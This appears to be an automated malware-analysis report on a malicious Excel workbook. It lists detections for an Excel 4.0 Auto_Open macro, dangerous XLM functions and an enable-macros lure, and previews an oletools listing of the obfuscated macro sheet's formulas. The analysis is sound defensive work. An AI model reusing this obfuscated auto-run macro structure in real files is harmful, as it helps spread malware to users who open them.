MALICIOUS
160
Risk Score
Heuristics 4
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Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
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XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FNExcel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
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Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
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Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 3250 bytes |
SHA-256: ddaa2aac0ef0c7f285ce48d3efb7c22a611baecc8ae1dcc55731ff00e58d3fa1 |
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Preview scriptFirst 1,000 lines of the extracted script
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet
' 0085 13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - yzYc
' 0018 555 LABEL : Cell Value, String Constant - aImS len=8 ptgArrayA *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x11\x00\x00\x00\x00\x00'
' 0018 23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d Sheet!I131
' 0018 28 LABEL : Cell Value, String Constant - BPQjUR len=7 ptgRef3d yzYc!H47
' 0018 23 LABEL : Cell Value, String Constant - BPUru len=3 ptgInt 0
' 0018 2072 LABEL : Cell Value, String Constant - ckOgu len=8 ptgArrayA *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00%\x00\x00\x00\x00\x00'
' 0018 28 LABEL : Cell Value, String Constant - eGuCAM len=7 ptgRef3d yzYc!B55
' 0018 28 LABEL : Cell Value, String Constant - fhFyGo len=7 ptgRef3d yzYc!G42
' 0018 22 LABEL : Cell Value, String Constant - gsNWoRF len=0
' 0018 29 LABEL : Cell Value, String Constant - GvAlbvR len=7 ptgRef3d Sheet!I83
' 0018 30 LABEL : Cell Value, String Constant - iGJnejKM len=7 ptgRef3d yzYc!D58
' 0018 30 LABEL : Cell Value, String Constant - iomnbKDv len=7 ptgRef3d yzYc!A47
' 0018 28 LABEL : Cell Value, String Constant - jCvLhP len=7 ptgRef3d yzYc!E42
' 0018 25 LABEL : Cell Value, String Constant - LVccCxa len=3 ptgInt 0
' 0018 25 LABEL : Cell Value, String Constant - nuVSqiz len=3 ptgInt 0
' 0018 120 LABEL : Cell Value, String Constant - sbaA len=8 ptgArrayA *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\t\x00\x00\x00\x00\x00'
' 0018 23 LABEL : Cell Value, String Constant - Upigc len=3 ptgInt 0
' 0018 26 LABEL : Cell Value, String Constant - uTpj len=7 ptgRef3d yzYc!C53
' 0018 30 LABEL : Cell Value, String Constant - yjyeUeup len=7 ptgRef3d yzYc!F42
' 0018 27 LABEL : Cell Value, String Constant - yQaWf len=7 ptgRef3d yzYc!I54
' 0018 30 LABEL : Cell Value, String Constant - zDletpdm len=7 ptgRef3d yzYc!J53
' 002a 2 PRINTHEADERS : Print Row/Column Labels
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 002a 2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
' Sheet,E41,"ABC",""
' Sheet,F41,"ABC",""
' Sheet,G41,"ABC",""
' Sheet,E42,[],""
' Sheet,F42,[],""
' Sheet,G42,sbaA,""
' Sheet,A46,"ABC",""
' Sheet,H46,"ABC",""
' Sheet,A47,ROWS(aImS),""
' Sheet,H47,[],""
' Sheet,C52,"ABC",""
' Sheet,J52,"ABC",""
' Sheet,C53,aImS,""
' Sheet,I53,"ABC",""
' Sheet,J53,[],""
' Sheet,B54,"ABC",""
' Sheet,I54,[],""
' Sheet,B55,ROWS(sbaA),""
' Sheet,D57,"ABC",""
' Sheet,D58,[],""
' yzYc,I85,"A"&"B",""
' yzYc,I86,[],""
' yzYc,I91,"SET.VALUE(I117,"")",""
' yzYc,I96,"LVccCxa",""
' yzYc,I99,"DEFINE.NAME("Upigc",0)",""
' yzYc,I102,[],""
' yzYc,I106,"Upigc",""
' yzYc,I109,"['I117', 'I117']",""
' yzYc,I111,"nuVSqiz",""
' yzYc,I114,NEXT(),""
' yzYc,I120,"['I117', '"yzYcb!R"']",""
' yzYc,I122,"gsNWoRF",""
' yzYc,I125,NEXT(),""
' yzYc,I128,RETURN(),""
' yzYc,I136,"DEFINE.NAME("gsNWoRF",145)",""
' yzYc,I144,GvAlbvR(),""
' yzYc,I145,HALT(),""
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